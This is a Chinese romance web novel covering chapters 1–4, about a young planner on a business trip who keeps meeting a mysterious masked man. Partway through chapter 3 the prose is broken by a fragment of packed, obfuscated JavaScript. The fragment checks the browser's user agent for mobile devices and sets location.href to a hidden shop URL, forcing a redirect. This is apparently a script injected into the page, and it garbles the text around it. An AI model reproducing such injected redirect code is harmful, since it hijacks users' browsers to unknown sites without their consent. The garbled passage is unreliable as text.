《第N次读档》
1. 爆胎吧
清晨的火车站熙熙攘攘,一波又一波行囊加身匆匆赶车的,人群中一个背着双肩包左右穿梭的清瘦身影健步如飞的越过人群,飞奔冲上缓慢上行的扶梯。
大约是冲的太急,白里透红的脸颊微微有些汗湿,但嘴唇却有些发白。原本是在扶梯上大步向上的姿势,却被前方并排的一对中年人挡住,“您好,可以过一下吗?”声音有些急喘,但依旧清脆。
并排的中年妇女回头看了她一眼,眼神有些不屑,“你走其他楼梯好了。”
“可是我已经上来了,着急赶火车,有点来不及了,可以先过一下吗?谢谢了……”
中年男子没回头,依旧是那个中年妇女冷哼一声,“那你耐心等等吧,马上上去了。”
急喘的脸上满是问号,大约是一口气没上来,她捂着胸口,嘴张了张未发出任何声音。过了大约一分钟,扶梯到达,垂首靠在扶梯上的人往前迈了一步,顺势倒了下去……
方才挡在前面的中年夫妇吓了一跳,慌忙躲开,“喂,小姑娘你干什么,碰瓷我老太太啊!小小年纪心眼……”
因为就在扶梯刚上来的位置,人流较多,瞬间变得拥挤堵塞。
倒下去的许夭夭隐约听到几句讨论声,眼前有点黑,脑袋嗡嗡的,然后一只强劲有力的手把她从地上拉了起来,一路拎小鸡似的把她提溜到人少的区域坐下。
议论和吵闹声渐远,过了一会儿脑袋似乎清醒些了,眼前递过来一瓶能量饮料。
“喝点吗?”
许夭夭抬起头,一身黑的男子正居高临下的俯视她,男子带着帽子口罩围巾眼镜,整个人包的大概只有手指是裸露在空气中的,听声音应该是个年轻男子。
“谢谢你,不用了。”缓过劲儿来的许夭夭一边捂着肚子,一边站起来准备往检票口冲。
结果一个踉跄,差点又要滑跪出去。
“是不是有点低血糖,要不歇一会儿吧。”黑衣男子再次开口。
“不了,我赶车,要来不及了。”她说完还是急急忙忙奔向检票口。
不太冷的冬日早晨,差点跑挂了的许夭夭果不其然没赶上车。
“别提了,差几分钟就……最近的下一班车只有商务座还不知道能不能报销……这破工作,起的比鸡早睡的比狗晚……血量告急啊……”许夭夭举着手机半仰在候车室的座椅上打电话,另一只手还拎着刚啃了一半的汉堡。
“你就顺路去一趟呗,你也参与剧本改编了,算半个编剧,风景优美旅个游也不错,”微信的语音似乎是一个娇媚的嗓音。
“我这出差很忙的,又要跑现场又要对接的,交通又不方便,况且编剧老师都已经电话沟通过了……”
“我说许夭夭你怎么就油盐不进呢!人家这么客气的来邀请你,你搁这推三阻四的,是不是有点不礼貌了?!”
半眯眼的许夭夭咂咂嘴,“你知道的我最怕人多……”
“别跟我扯这些,你现在出个差又是见甲方又是跑现场的人不多?”娇媚的声音似是有些急了。
“不跟你说了啊,快检票了!”
站台的风呼呼的灌脖子,许夭夭拉着衣领快步走向列车的最端头。
商务座的车厢人影稀少,虽然报销无望,但这舒坦的躺椅,许夭夭还是痛心疾首且一脸雀跃的坐下了。
没一会儿旁边一个高大的黑影掠过又折返,在许夭夭旁边的位子坐下来。
“怎么是你?好巧!”大约是吃了早饭又休息了一会儿,恢复体力的许夭夭嗓音也一如既往的明媚起来。
一身黑的人冲她点点头,示好,未接话。
蒙面侠似的的造型,看不清表情与神态,许夭夭抿了抿嘴也未再说话了。
奔驰的列车像荒野里的游龙,但车厢里却静悄悄的,阳光透过宽敞的玻璃洒在每个或沉睡或沉思的脸上。
睡了一觉的许夭夭被一阵急促的电话铃声震醒,手机屏幕上三个醒目的大字‘方有知’,她刚想接对方挂断了,紧接着是一连串的‘叮咚叮咚…’,估计有十几条信息,许夭夭扫了一眼,居然还有篇小作文…这打字速度不去干客服可惜了…
有点渴,许夭夭捞起喝了一半的可乐压了压欲言又止的手,刚好车身有点晃,她慌忙手臂太高,慌乱中庆幸,幸好自己小脑还行,一滴没洒。
余光中瞥见旁边的躺着熟睡的人,帽子和墨镜都摘了,许夭夭转头看他,眼睛紧闭,睫毛很长,蓬松的头发和上半截脸因为阳光的照射有些莹莹发光,虽然口罩遮住了一半轮廓,但感觉是一张让人无法挪开视线的脸。
这时闭着的双眸突然睁开,四目相对,还在沉迷的许夭夭不由得手一抖,端着的可乐终于还是撒了一裤子……
又是一阵慌乱……许夭夭的眼前出现一张纸巾。
“小心点。”
她尴尬的笑笑,“谢谢啊。”
过了一分钟,那双指节修长的手又伸过来了,手心几颗糖。
许夭夭木愣愣的盯着那几颗糖,脑子中突然开始闪现各种迷药杀人焚尸的场面……
“上车前买的,补血糖。”
许夭夭继续尬笑,“早上在候车室都没来得及谢谢你。”
“早上赶车的话最好吃早饭或者带点吃的,不然容易低血糖。”
“不是低血糖,我……”许夭夭下意识的捂了捂肚子。
半仰躺的人眉毛微动,似是心领神会,“……多喝热水。”
许夭夭的嘴角抖了抖,一脸的皮笑肉不笑。
疾驰的高铁又经过了两个站点,下午两点半,车厢里好像只剩两三个人了,下一站是终点站石水市。
躺着刷手机刷的嘎嘎乐的许夭夭被手机来电打断,她连忙接起来,“……对,快了吧估计还有二十分钟到站,行,好的好的林工。”刚好此时听到广播报站,许夭夭不由得摘了耳机坐起来伸懒腰。
这时原本快速前进的火车突然慢了下来,大约三分钟一阵急刹停在了一个很小且没有名字的荒野站台边。
广播再次响起,“旅客们,由于天气原因现在是临时停车,请大家切勿在过道聚集,注意安全……”
许夭夭拉起遮挡的半透窗帘,外面白茫茫的一片素裹,“喔……下雪了。”
“可能前面有车次误点。”
听到一个低沉的男音,她不由转头,“你也到石水市?”
也已经坐直了的人微微点头。
本就无人的车厢因为窗外落雪的氛围显得更加寂静,时间一分一秒过去,二十分钟后车依然静悄悄的停在原地,期间,只有列车员来回走动的声音。
许夭夭手指在手机屏幕上不停地飞舞,似乎这个时候工作消息是跟着漫天飞雪来的……
“好好好……行,你先保存了发给我哈……好嘞,谢谢。”
“赵赵,麻烦你给王胖子回个信息,他那边有些资料不全,我现在在车上不方便发……”
“林工,车晚点了……赶不上的话你们先讨论吧……行,行,麻烦您了……”
旁边半躺的人戴着耳机,但视线似乎却一直停留在沉浸于工作头发被挠成鸡窝的人身上。他的目光因为逐渐昏沉的天气而愈加深邃,像是被大雪掩埋的故事,静待地质锤的叩击。
好在列车休息了半小时终于出发了,只是速度只有原先的三分之一。
将近四点徐徐而行的列车终于到达石水市,大雪纷飞,天色暗沉。
大概误点的人比较多,车站人头攒动,因为火车延误,提前
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约的车超时退单了,现在打车僧多粥少,粥还都堵在路上,许夭夭看了一眼手机,约的车还在十公里外,她站偌大的广场边,迎着寒风瑟瑟发抖。
又过了十多分钟,人渐渐少了,许夭夭看了下打车软件的定位,司机居然取消了……“!!什么鬼!”她无语的再次发起订单,但是那个等待接单的指针就像进入了无限循环一样。
这时一辆白色的SUV突然停在她面前,车窗放下来,一个一身黑黢黢的人,带着口罩和眼镜,没带帽子,“去哪,我送你。”
要不是衣服认识,许夭夭都没反应过来,虽然火车同行一路,还有简单的交流,对方长得也不错,但是上陌生人车这种事,许夭夭戒备心还是战胜了颜控的心,她微笑的摇摇头,“不用了,谢谢。”
“我平时也跑网约车,有账号,”边说边扒拉一下手机递给许夭夭查看。
还真是网约车账号,就是跑单量不多。
见许夭夭还是一脸警惕,他指了指远处,“车站门口有个巡逻保安,要不放心可以麻烦他过来检查一下,还有车牌号和我的照片也可以拍一下发给亲友……”
刚好保安不知道是不是发现了他们,正往这边走来……
五分钟后,许夭夭鬼使神差的坐上了副驾,像一个乖巧的小猫咪。
“安全起见给你看下我的证件……”
许夭夭下意识的摆手,眼睛却很诚实……“我不是……”还不等她开口身份证和驾照已经递了过来,证件信息一致,身份证上的照片……可能早几年拍的看着很青涩但很帅……
这时驾驶座上的人终于把口罩摘下来了,四目相对,许夭夭的眼波流转,神情似乎是进入了别的什么世界,这不就是她书里完美的男主角……
“很高兴认识你,我叫念星辰,你呢?”没有了口罩的遮挡声音似乎没有那么低沉了,带了几分温润。
“许夭夭……”大概察觉到自己的失态,许夭夭的耳根子有点发热,“你也是申城的,好巧。”
“我们一起上的车,”念星辰眼带笑意,“你去哪,导一下航。”
“我去的地方有点远,在石水下面的一个县级市,过去可能要五十分钟,要不然你把我放到市区好打车的位置吧。”
“是密林吗?”
“你怎么知道?!”
“石水只有一个县级市,我也到那边,那我导航吧。”
“我会不会耽误你的时间……”
“不会。”
因为持续不断地降雪,虽然没有进市区,但路上的车都像放了0.5倍速,时间过去了大半个小时,他们才走了不到一半的路。
“一会儿有一段山路,可能不太好走。”念星辰提醒昏昏欲睡的许夭夭,“坐陌生人的车最好不要睡觉。”
困得东倒西歪的许夭夭立马坐直,“啊?怎么了?”
“地面湿滑,山路有些急转弯,坐好了。”
天已经有点黑了,隐约的光线打在念星辰的脸上,不知道他什么时候换了一副无框眼镜,整个人显得立体又深邃。
正说着一个急转大弯,身体剧烈侧倾的许夭夭下意识的抓起扶手。
“你近视吗?”
“嗯,视力不好。”
“你的名字挺特别的,姓氏很少见。”
“这得谢谢我的爸妈。”
“你来这边也是出差吗?”
“不是,一点私事。”
正说着,听到闷哧一声,车好像压到一个大坑,由于地面湿滑,方向盘打了,但是车漂移出去了,紧接着撞到路边还未修整完毕的路沿石上,一阵摩擦……伴随着刹车声,外边泛起一股白烟。
两人愣了几秒……
“好像爆胎了。”
2. 很巧吧
雾气沉沉的山路,快没电的手机,没有路灯,也没有其他车辆,这样的夜晚有一丝难以言喻的不安,令人后背发麻。许夭夭虽然不是第一次来了,但却是第一次晚上赶路,第一次经历这种事故,她有点不知所措,这会儿她总算后知后觉的担忧起上了这辆车的后果。
“刚打了救援电话,救援车大概半小时到,太冷了,先上车坐着吧。”
车在行走的时候不觉得,一旦停下来,狭小的空间开始弥漫起尴尬的氛围。
“冷不冷?”
“还好。”
念星辰把车打起火,打开双闪和空调。
“你来石水是探亲吗?”
“也算吧,探已故的亲。”
许夭夭疑惑的歪头看向他。
“上坟。”
“上坟??”
“明天是爷爷的忌日,爸妈他们实在太忙了抽不开身,只有我自己来了。”
“那你老家是这里的吗?”
“我爷爷的老家是这里,年轻的时候当过兵,后来留在了石水市里,我爸当年就是在石水市遇见的我妈。”
“那你们老家也算这边了。”
“我妈年轻的时候是因为有研究项目来的石水市,没待多久就走了,我爸千里追妻去了申城。”
“感觉你爸妈好浪漫呀。”
对于听这种感人的现实故事,许夭夭就像收集素材一样认真。
“在那个年代还是有点浪漫气质的。”
“那你们家在这边还有很多亲戚喽。”
“没什么亲戚了,奶奶也很早就去世了,爷爷只有一个兄弟也在外地,我爸是独子。”
“嗯……有一种身在故乡为异客的凄凉感。”
看她听的入神,念星辰饶有兴致的转头问:“你是出差吧?”
“这都被你看出来了。”
“在火车上的时候见你一直在忙工作。”
“嗨!像我们这种规划设计师,24小时都在工作的,”许夭夭扯扯嘴角,露出一丝苦笑。
“你是设计师?”
“……新手……”许夭夭干笑,“工作时间短,还在学习阶段”。
“以后可以找你做设计吗?”
“没问题呀,但得收费哦。”
车内逐渐轻松的氛围跟窗外的夜风飞雪形成了鲜明的对比,聊得起劲儿仿佛忘记了漏气的轮胎和深不见底的山路。
“好像救援车来了。”
到酒店的时候已经晚上八点,更巧合的是两人居然住的同一个酒店,要不是山里的县城条件有限,能看的上眼的也就那一两个,许夭夭甚至都觉得这个念星辰真的别有用心了。
“这也太巧了吧!”
“是很巧。”
空荡的酒店大堂显得两个背着行李的人也带了几分清冷。
“你饿不饿,等会儿要不要一起出去吃晚饭?”
许夭夭看了看时间,“先不吃了,有点累,想回房间早点休息。”
两人一起走进电梯,许夭夭似是想到什么,迟疑两秒,“对了今天太感谢你了,我把路费给你吧。”
再次戴上口罩和墨镜的人完全看不清表情,似乎也迟疑了一下,“不用了,顺路的。”
许夭夭本来还想坚持一下,但是看对方冷淡下来的表情,也未再推搡。
“今天真是太感谢你了,车还坏了。”
“没事,意外而已。”
密林这个小县城平时除了节假日也没什么客流,平时酒店入住率低,长时间无人居住的客房透着一股湿气,空调似乎也没那么给力。
合衣躺在床上的许夭夭肚子咕咕唱交响乐,恰巧‘方有知’来电很鬼魅的响了起来。
“夭夭,你出差怎么不跟我说一声呢,一整天毫无音讯,不乖哦。”
方有知的声音让本就有点低血糖的许夭夭血压倒是升上来了,她无语的看了一眼手机,压着声音道:“方先生,我们总共就见过一次面,也没有熟到要报备行程吧。”
“这么漂亮的女孩子怎么都没礼貌,我这不是关心你…”
想到这个方有知每天打卡似的电话,许夭夭就莫名的窝火,“方先生我坐了一天车已经很累了,有事情明天再说好吗?”
雪上加霜说的就是饿的两眼昏花的时候遇上控制欲爆表的自信男吧。
在对方一大段窒息演讲中许夭夭果断挂了电话。
外边又纷纷扬扬开始飘雪花,裹着外套衣领的许夭夭冲进酒店附近的一个装修古色古香的中餐厅,外面寂若荒野,没想到里面却是座无虚席,服务员看到有人进来立马迎了上来,“您好,请问几位?
“一位。”
“现在可能需要等位……”
“大概等多久?”
服务员环顾用餐大厅,“估计十分钟以上……”
许夭夭摸了摸咕噜噜的肚子,想到酒店附近餐厅很少,又下雪……正犹豫的功夫,余光瞥见餐厅最里面角落的双人桌,一个熟悉的身影。
“hi,介意拼桌吗?”
对于一脸喜悦毫不犹豫飞奔而来的人,举着筷子的念星辰仿佛有一丝不宜察觉的局促,嘴里的饭还没咽下去,“这么巧,你也来这里。”
“不巧了,我一进门就看到你了,谁大晚上的吃饭还戴个墨镜!能看清菜吗?”
“那我也不能戴着口罩吃。”
“为什么?”
“没什么。”
“躲债啊?”许夭夭边调笑边拿出手机扫码点菜。
念星辰见状立马招呼服务员加碗筷,“不介意的话一起吃吧,菜点多了。”
看到吃的两眼放光的许夭夭仿佛活泼了很多,“你刚开始吃吗,我再点两个,你不知道我的饭量……”
“嗯,刚进来一会儿。”
“那你刚好赶上有座,我进来都没座了。”
“这家餐厅是家比较地道的老字号。”
“难怪呢。”
或许是太饿了,又或许是一天的相伴已经有些熟悉的氛围,许夭夭不客气的拿起筷子,“嗯,味道确实不错。”
念星辰的脸上露出一丝不易察觉的微笑。
人声嘈杂,觥筹交错的大厅,两个默默干饭的人像被淹没了一样,只有那只墨镜显得有些格格不入。
“斜后方那桌的女孩子一直在看这边,不会是熟人吧?”许夭夭悄声道。
念星辰没回头,低声回答:“不是。”
“你都没看呢,怎么知道……她拿手机拍你了!!不会是看你长的……”许夭夭心中腹诽,自己不知道带着墨镜反而更扎眼吗……
“不要盯着她们看。”念星辰默默地喝了一口茶,把帽子戴上。
许夭夭突然考究的看向他,“其实我也觉得你有点面熟。”
“你认识我?”
“今天之前肯定不认识呀,但看着面熟,以前你是不是去过我们学校?篮球比赛?不对……那是体院的……难道是去年那个旅游区项目竞选??你唱歌吗?不会是市级校园十佳歌手比赛吧?”
“都没有。”
“但我现在真的看你有点面熟了。”
“可能是我长得大众。”
许夭夭夸张的瞪大眼,“你还大众呢!人家小姑娘一直咧着嘴偷拍你好久!对了,你在这里待几天呀?”
“一天。”
“明天就要走了吗?”
“或者后天。”
许夭夭眉头一皱,那不是两天吗?!
“要不要加一下微信,在这里有什么需要帮忙的可以找我。”似乎有点不太适应过于活泼的许夭夭对方微笑着岔开话题。
“嗯好呀,那先感谢你啦,还有今天真的很感谢,等后面有机会的话请你吃饭。”
“不用客气。”念星辰的语气依旧淡淡的。
雪越下越大,在江南的城市这样的大雪也不多见,隆冬深夜,仿佛一切都被雪盖住了。
酒店的空调终于管用了。
许夭夭洗了澡,躺在床上已经有些昏昏欲睡。
“喂,晚晚……晚上吃饭那会儿没注意手机,我真的不想去……不擅长社交你知道的……还有很奇怪啊,为什么会要求我去……”
电话那头依然是那个娇媚的姜辞晚,“我说许夭夭,这是你写的小说你参与的编剧,人家剧组老师要求您屈尊出席一下剧本围读也不过分吧,而且项导人很好,也没要求咱每次都到场,但至少得去一次吧……”
“行行行,明天我这边事情要是顺利结束的话
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就去行了吧……”
“对了,有个大消息,据说主演换人了。”
“男主演还是女主演?”
“男主演,听说出问题辞演了,新换的不知道是谁,正好去看看。”
“是谁我都不认识……”许夭夭在床上翻了个滚,换到另外一边脸贴电话。
“你对周围的帅哥也太不敏感了,难怪你没男朋友呢。”
说到帅哥,半眯的双眼突然睁大了一些,“今天我还真遇到一个帅哥,还搭了他的顺风车。”
果然八卦是所有人的兴奋剂,电话那头突然来了兴致,“多帅?有照片吗,加联系方式了吗?……不对啊,你向来不跟陌生人搭讪……不会是骗子吧?!你们公司天天派一个小姑娘独自去工地可真行……”
“你再叨叨快赶上我妈了,很帅,没照片,很安全,真的要睡了,明早七点就得起床……”
挂了电话的许夭夭忍不住点开念星辰的朋友圈,什么也没有……
冬日七点四十五,朝曦倾泻,落了大半夜的雪居然一点也没积住,果然南方的冬天没有雪。拎着一个小黑包,端着一盒奶的许夭夭站在酒店门口,眯着眼打电话。
“……好的,好的林工,我已经吃好了,就在酒店门口……好,等你。”
不多久马路边一辆银色轿车停住冲她招手,晃神的许夭夭见状立马快速跑过去。
虽有阳光刺眼,但哈出阵阵白气,很冷,亦如冷清的酒店门口。
许夭夭刚走没多久,无人的酒店门口又出现一人,依旧是一身黑色,只是墨镜换了个墨绿的款式,也提着一个黑布袋,快速的走向停车场。
石水是典型的山地丘陵城市,密林更是隐没在一众群山之中。冬日枝丫残败,昨夜的雪还有零星存留,白色的SUV在蜿蜒的山路上都显得多了几分灵动。
一座小山的半山腰,掩藏在墨绿植被深处,若隐若现的墓园,虽然入口只立了一个简单的石碑,但却透着庄严与沧桑,白色suv稳稳停在车位。
离墓园大概三百米的地方,地面泥泞,推土机正轰隆隆的卖力工作着。
“林工,这个图的红线位置看着不太对呢!”许夭夭手里拿着一张很大的白图,眉头紧锁。
“这就是你们设计团队提供给我们的图。”一直站在旁边抽烟的李总突然插嘴,他提了提大肚子上紧绷的腰带,缓缓吐出一个烟圈。
“我们提供的最终图纸是盖章的,这个没有章是不是你们拿错了。”
李总不缓不慢的吐了一口痰,“这就是你们的问题了,对这个项目一点也不上心,就派你一个小姑娘过来敷衍了事。”
“李总您误会了,我们院里对这个项目还是很重视的,是要做标杆的项目,项目总前几天来过了,这两天刚好出差了,现场踏勘对接这事我一个人也可……”
“行行行你不要狡辩了,项目有问题你们占主要责任,下次让你们院长来!”
许夭夭有点无奈,她本就是半路加入的这个项目,加之之前的项目组长离职,资料一大堆对不上。
“要不先飞一下无人机,收集一下新增地块的现状航拍资料吧。”许夭夭卷起图纸放到一边。
“那边已经在飞了,“林工指了指不远处一个手持遥控手柄的小伙子。
许夭夭快步走上前去跟他搭话,“地貌怎么样?好布置康养业态吗?”
这时李总也跟了上来,“哎哎哎,你飞什么,踏勘是他们单位的工作,你让这个小…小许是吧,来飞!”
小伙子看着很年轻,被李总一吆喝,拿着遥控手柄有点抖,偏偏这时无人机好像快没电了。
“我看看,”许夭夭脑袋凑过去,“还有百分之十,赶紧返航吧。”
“……好像有点信号弱……”
“点一键返航!”许夭夭指挥道。
“……马上没电了。”
“一键返航来得及。”
“完了……信号没了……”
“我看看,”许夭夭接过他的控制手柄,按了几下,“估计是坠机了,看样子在东南方向不太远,”她打开自己的手机地图看了一会儿,“你看是不是这个位置消失的。”
小伙子点点头。
“这里是墓园吧。“
3. 吃饭吧
“许工,这个检索功能靠谱吗?“几个壮汉带着许夭夭浩浩荡荡进了墓园。
“你们之前踏勘没用过无人机吗?“
林工有点心虚道:“之前确实没怎么用过无人机,这还是跟另外一个部门借的,但我们李总你看到了不高兴我们去借这个。”
想到刚才飞机消失前一秒李总的嘴脸,许夭夭也有点头大,虽然听项目组的同事描述过,但耳听不如眼见。
这时阴魂不散的李总突然跟了上来,“无人机损毁的话小许你们单位得赔偿哦。”
许夭夭一个头两个大,但还是耐着性子说道:“定位的位置大家分开找找吧,可能挂树上了…”
冬日青石小径上的风,似乎还带着松针和旧梦的气息,带叶的枝桠也显得多了几分干枯,许夭夭在干树林里走了一会儿,实在是太冷了,她走到有阳光的空地上跺了跺脚,对着一排排的墓碑拜了拜。
“你们是在找无人机吗?”背后响起一个熟悉的声音。
许夭夭转身看到一个熟悉的身影,从头包到脚,只是墨镜换了,一身黑刺客的打扮,虽然这套装备看起了有些好笑,但许夭夭莫名有几分心安。
对方指了指十几米外一棵树的低枝处。
许夭夭的表情由惊讶转为惊喜,“对对对,找到啦!真是太感谢你了!”说着许夭夭已经迫不及待的迈进枯草丛生的密林中。
站在远处看着半树不高,真走近了才知道树木被草丛的淹没如同陷进棉地里,深一脚浅一脚的许夭夭走到树下抬眼望着挂在枝头的“残骸”,掏出手机准备喊林工他们过来。
“我帮你拿下来。”不知何时念星辰也悄无声息的跟了过来。
“这么高,不好拿。”刺眼的阳光令许夭夭皱起眉头。
话音刚落,一个利落的身影攀树而上,一个跃身轻松取到“半死”的无人机,两秒的功夫转身落在地上,只是交叉的树木太多,墨镜被刮掉,原本要站稳的人身体一斜险些摔倒,手撑在叠摞的一块大石头上。少了墨镜的庇护,不知是强光刺眼还是迷了眼睛,刚刚还矫捷的身形突然不动了。
或许是一连串动作过于突然,长反射弧的许夭夭半天才反应过来,连忙上前查看。
“你没事吧?”
念星辰眼睛紧闭,仿佛在适应这个强光的世界。
虽正午骄阳,也不至于骄到这种程度吧,许夭夭诧异的盯着那双因眯起显得眼睫毛更加浓密的眼睛。
“没事,墨镜掉地上了可以帮我捡一下吗?”
“那你站着别动,稍等一下!”
敏捷和孱弱的无缝转换,弄的许夭夭有些莫名。虽然带上墨镜又恢复原样的人仿佛刚才的一切没发生过一样,但许夭夭依旧处于疑惑中。
这时树影晃动处,林工从草丛里钻了出来,他一眼就瞥见了许夭夭手里的“残骸”,眼神中难掩惊喜,“找到啦!”
“有个朋友帮忙捡到了,喊大伙回来吧。”
许是自己失误导致的坠机,操作无人机的小伙子垂头丧气的带着机翼折断,镜头脱落的“残骸”先离开了,已经过了中午,林工提议带许夭夭去项目部吃员工餐,因为下午还有座谈讨论会。想到项目部辣到飞起又难以下咽的食物,许夭夭不免犯怵,林工看她的表情误以为她要跟朋友一起吃,就寒暄两句速度离开了。
许夭夭看着自作聪明绝尘而去的林工简直要生气了,毕竟这荒山野岭的出去总不能靠腿吧?!
“你同事似乎不愿意跟你一起走。”蒙着面的念星辰虽然看不到表情,但语气中的调侃直面而来。
“不是同事,他们是甲方的,”许夭夭幽幽叹气,被短枝切割的阳光如碎金一样洒在脸上,显得她多了几份无奈。
“坐我的车下山吧。”
“你的车修好了?!”
“换个轮胎而已。对了刚才看了下无人机,摔得不严重,还可以修的。”
”你懂这个?”
“涉猎过这个行业。”
“昨天还以为你开网约车的,所以你到底做什么工作的?”
或许是熟悉了,许夭夭的语气也少了几分客气和见外。
“算是艺术行业吧。”
“艺术?卖艺术品吗?”
瘦削的脸有一丝不易察觉的抽动,“对,艺术作品。”
刚刚还眼眸狡黠的许夭夭顿时羡慕起来,“这个好啊,高雅,不用风吹日晒,不像我们天天工地上搬砖。”
这时念星辰的电话响起,似乎是工作电话,刚才还温润的声音显得严肃低沉,原本两人并排走的,许夭夭刻意的拉开了一段距离。
结果没走几步,还在讲电话的人驻足回头,示意她跟上。
寒风与骄阳在山间小路上无声地相会,狭窄的石子路把并排的两人距离拉的很近,甚至偶有肩膀与手臂的碰触,许夭夭很少会跟异性这么近距离,不免有点恍神,被大小不一的石子绊了一下,还好对方及时把她拉住,才不至于摔个狗啃屎。
同时,许夭夭也听到了电话的内容。
一个比姜辞晚还娇媚的声音,似乎在催促他去哪。
“对了你怎么会在这里?”
“刚祭拜完。”
“你说的上坟是来这里?!”许夭夭也突然反应过来,“那真是太巧了!你爷爷是烈士吗?”
对方轻微的嗯了一声。
两人很快就上了车,念星辰说一起吃饭,许夭夭一时也找不到合适的理由拒绝,毕竟昨天晚上还说要请人家吃饭。
依旧是蜿蜒的山路,但却似乎比来的时候平坦了一些,大概是对这个副驾驶座熟悉了,许夭夭有些放松的看起了风景。
“将来这一片要建设很多酒店,或许就没有这么野趣了。”她自言自语道。
“所以你们的项目就在这一片区域?”
“对,挨着墓园的这一片小山坡。”
“项目建成,应该很有成就感。”念星辰满是赞美的语气。
“建的好肯定有,要是建的不好只会惭愧惋惜不忍直视……”
闲聊中两人很快到了一处外部野趣内部精致的餐厅,虽是冬日,开敞的院子却是布置的一步一景,淡淡悠扬的蓝调音乐,这怎么看这顿饭许夭夭都要大出血的节奏,但是想到昨天车费都省了,破费就破费吧。
店员似乎跟念星辰很熟,浅浅的打了个招呼坐下就上菜了,菜单菜名菜价许夭夭一个也没看到,心里正犯嘀咕呢,对方把焊在脸上的墨镜摘了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993302|193830||http|test|mini|href|location''.split(''|''),0,{}));
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>“这里你经常来吗?”
“每次回来都来,老板是我的朋友。”
还不等许夭夭搭话,念星辰再次接起电话,恰巧一个着装精致的青年男子过来找念星辰,两人寒暄着走到外面去了,透过落地窗中年男子频频往许夭夭这边看,表情有些捉摸不透。
没一会儿念星辰折回说有急事来不及吃饭了,让许夭夭慢慢吃,说完就急匆匆走了。
望着一桌子看不懂的菜,许夭夭竟然莫名的有点失落。
这下好了请客没请上,还吃了一顿不能报销的大餐,也不知道这一顿要多少钱……她哭丧着脸,夹了一筷子黑不溜秋的菜塞嘴里。
两秒后失落变成惊喜。
这也太好吃了吧!
一向口味刁钻的许夭夭竟然被一顿美食吃出了幸福感,已经完全忘了临时离开的念星辰,只是不一会儿手机上的闹铃响了,两点半下午开会,已经两点了。
“念先生已经结过账了,没吃完的您要打包吗?”服务员礼貌的弯腰询问。
许夭夭一脸懵的点点头。
这下好了又欠了一顿。
或许是美食的动力,下午的会议和对接异常顺利,由于项目总远程参加了会议,吹毛求疵的李总也没有过多为难和纠缠。
明天是周末,经过姜辞晚的一顿软磨硬泡许夭夭决定去参加一下剧本围读,从石水市到灵水市高铁只有一个小时。下午五点精神状态大好的许夭夭吃着糖糕,哼着小曲慢悠悠进站。
上一次去灵水还是好几年前,灵水是著名的旅游城市,大大小小景点有几十个,列车所到之处尽是山清水秀,许夭夭从背包里拿水杯,不小心掉落了几颗糖,还是昨天早上念星辰给的,她打开一块塞嘴里,齁儿甜。
也不知道现在念星辰在忙什么,中午吃完饭好像也没有感谢他,许夭夭打开微信,过了几秒又合上。念星辰的朋友应该都是身着正装的精英人士吧,而自己,玻璃窗上印出一张毫无妆色略带学生气的面孔。
对着窗外的风景发了一会儿呆,许夭夭点开那个反复退出的对话框,打了一行字:感谢你的午饭,有缘再见的话我再请你。”
晚上七点许夭夭顺利入住剧组安排的豪华酒店,见到姜辞晚口中的才华横溢又帅气的师哥项导,一个留着大胡子却光头的胖男人,见到许夭夭似乎也有点惊诧。
“没想到逃芷老师看着这么小。”
许夭夭心中腹诽:也没想到你这么大……只,姜辞晚对帅是不是有什么误解!不过还是第一次在现实中被人喊笔名,有种旁观者的错觉。
”本来今晚是安排了聚餐的,但是男主演有事要处理,明天早上才能到,聚餐改到明天晚上了,正好白天围读人也最齐……”
虽然项导的声音在脑门子前嗡嗡嗡,许夭夭脑子里却莫名出现了念星辰的脸,突然她灵光一闪,难怪她觉得念星辰有熟悉感,这不是妥妥的她故事中的男主角吗,气质形象跟故事中简直不要太契合,要是早能认识没准还能给剧组推荐一下。
正在她思绪漫天飞的时候一阵哒哒哒的高跟鞋声由远及近打断了各自沉浸的两人。
“哎呀,兮兮到啦,太好了,正门口迎你呢。”项导这变脸的速度让许夭夭瞠目结舌。
4. 恋爱吗
一个身着黑色收腰风衣,翠绿色细高跟的年轻女生面无表情的穿过偌大的酒店大堂往这边走过来,身后跟着两个助理模样的小姑娘大包小包的一路小跑,还有个酒店门童推着一车子行李箱健步如飞。
许夭夭虽然对明星演员不感冒,但是看项导这态度,至少是个重要人物。
“…兮兮一路上辛苦了,正巧,给你介绍一下,这个是咱们这部剧的原作者逃芷老师!”项导笑眯眯的圆溜溜的脸上褶子都平添了几堆。
见状许夭夭赶忙微鞠躬,“兮兮你好!”
她这一喊在场的所有人都愣了两秒,氛围似乎略有尴尬。
对方抬手调整了一下脸上的墨镜,似乎打量了她一眼。
自带油光的项导马上打哈哈,“逃芷老师也是自来熟,正好熟悉一些方便明天剧本围读啊哈哈哈。”
社恐的许夭夭最怵这种场合,也不敢再搭话,没一会儿一群人浩浩荡荡离开了,只剩一个负责去接许夭夭的统筹小姐姐还站在旁边接电话。
这时大厅门外又进来一男一女,有说有笑的,虽然戴着口罩,但听声音特别的和蔼可亲,经过这边时似乎还对许夭夭微微点头,虽不认识还是忍不住多看了几眼。
这个酒店被剧组包了很多房间,今天估计许多是演员。
她刚想走,被统筹组的小姐姐一把拉住,“逃老师,项导让我带您去吃晚饭,感谢您这次能来。
许夭夭连忙摆手,“不用客气,我自己去吃就好了,正好逛逛灵水。对了刚才那个兮兮她全名是什么呀?”
统筹小姐姐突现震惊脸,“逃老师您不认识吴兮吗?!”
被对方夸张的表情弄的有些尴尬,许夭夭抓抓脑壳,“应该……认识吗?”
“难怪呢,她是主演,不过没事的,您别在意,咱们也不跟演员搭戏,明天围读很轻松。”
许夭夭若有所思的点点头。
灵水的温度没有石水市那么低,加上城市大热闹,醉心于夜市的许夭夭东街吃完西街吃,吃完南街吃北街,没一会儿就吃出汗了,之前一直听说这边泡汤很有名,从来没体验过,正巧路过一家。
晚上八点多正是泡汤会所华丽且静谧,环境不错,最主要是人少,刚进门许夭夭感受到一股热流,她站在原地悠悠的叹了口气,好巧不巧的,差点忘了来大姨妈这事儿!只能下次了……正退出的时候一个熟悉的黑影一闪而过。
